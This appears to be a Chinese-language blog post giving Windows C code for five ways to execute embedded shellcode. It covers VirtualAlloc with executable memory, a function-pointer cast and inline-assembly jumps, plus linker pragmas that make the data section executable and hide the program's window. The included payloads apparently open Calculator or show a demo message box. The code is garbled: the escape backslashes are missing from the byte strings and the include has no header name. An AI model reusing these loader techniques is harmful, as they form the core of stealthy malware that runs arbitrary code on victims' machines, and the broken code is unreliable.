c语言code函数的使用方法,C语言执行shellcode的五种方法

c语言code函数的使用方法,C语言执行shellcode的五种方法

#include //data段可读写

#pragma comment(linker, "/section:.data,RWE")

//不显示窗口

#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")

#pragma comment(linker, "/INCREMENTAL:NO")

//一段打开Windows计算器()的shellcode

unsigned char shellcode_calc[] =

"xb8x82x0ax8dx38xd9xc6xd9x74x24xf4x5ax29xc9xb1x23"

"x31x42x12x83xeaxfcx03xc0x04x6fxcdx38xf0x2bx2exc0"

"x01x3fx6bxfcx8ax43x71x84x8dx54xf2x3bx96x21x5axe3"

"xa7xdex2cx68x93xabxaex80xedx6bx29xf0x8axacx3ex0f"

"x52xe6xb2x0ex96x1cx38x2bx42xc7xc5x3ex8fx8cx99xe4"

"x4ex78x43x6fx5cx35x07x30x41xc8xfcx45x65x41x03xb2"

"x1fx09x20x40xe3x83xe8x2cx68xa3xd8x29xaex5cx15xba"

"x6fx91xaexccx73x04x3bx44x84xbdx35x1fx14xf1x46x1f"

"x15x79x2ex23x4ax4cx59x3bx22x27x5dx38x0ax4cxcex56"

"xf5x6bx0cxd5x61x14x2fx93x7cx73x2fx44xe3x1axa3xe9"

"xe4";

unsigned char shellcode[] =

"xd9xebx9bxd9x74x24xf4x31xd2xb2x77x31xc9x64x8b"

"x71x30x8bx76x0cx8bx76x1cx8bx46x08x8bx7ex20x8b"

"x36x38x4fx18x75xf3x59x01xd1xffxe1x60x8bx6cx24"

"x24x8bx45x3cx8bx54x28x78x01xeax8bx4ax18x8bx5a"

"x20x01xebxe3x34x49x8bx34x8bx01xeex31xffx31xc0"

"xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x3bx7c"

"x24x28x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8bx5a"

"x1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61xc3xb2"

"x08x29xd4x89xe5x89xc2x68x8ex4ex0execx52xe8x9f"

"xffxffxffx89x45x04xbbx7exd8xe2x73x87x1cx24x52"

"xe8x8exffxffxffx89x45x08x68x6cx6cx20x41x68x33"

"x32x2ex64x68x75x73x65x72x88x5cx24x0ax89xe6x56"

"xffx55x04x89xc2x50xbbxa8xa2x4dxbcx87x1cx24x52"

"xe8x61xffxffxffx68x6fx78x58x20x68x61x67x65x42"

"x68x4dx65x73x73x31xdbx88x5cx24x0ax89xe3x68x58"

"x20x20x20x68x4dx53x46x21x68x72x6fx6dx20x68x6f"

"x2cx20x66x68x48x65x6cx6cx31xc9x88x4cx24x10x89"

"xe1x31xd2x52x53x51x52xffxd0x31xc0x50xffx55x08";

typedef void (__stdcall *CODE) ();

///

//第一种方法

void RunShellCode_1()

{

PVOID p = NULL;

if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)

MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);

if (!(memcpy(p, shellcode, sizeof(shellcode))))

MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);

CODE code =(CODE)p;

code();

}

//第二种方法

void RunShellCode_2()

{

((void(*)(void))&shellcode)();

}

//第三种方法

void RunShellCode_3()

{

__asm

{

lea eax, shellcode;

jmp eax;

}

}

//第四种方法

void RunShellCode_4()

{

__asm

{

mov eax, offset shellcode;

jmp eax;

}

}

//第五种方法

void RunShellCode_5()

{

__asm

{

mov eax, offset shellcode;

_emit 0xFF;

_emit 0xE0;

}

}

void main()

{

//RunShellCode_1();

//RunShellCode_2();

//RunShellCode_3();

//RunShellCode_4();

RunShellCode_5();

}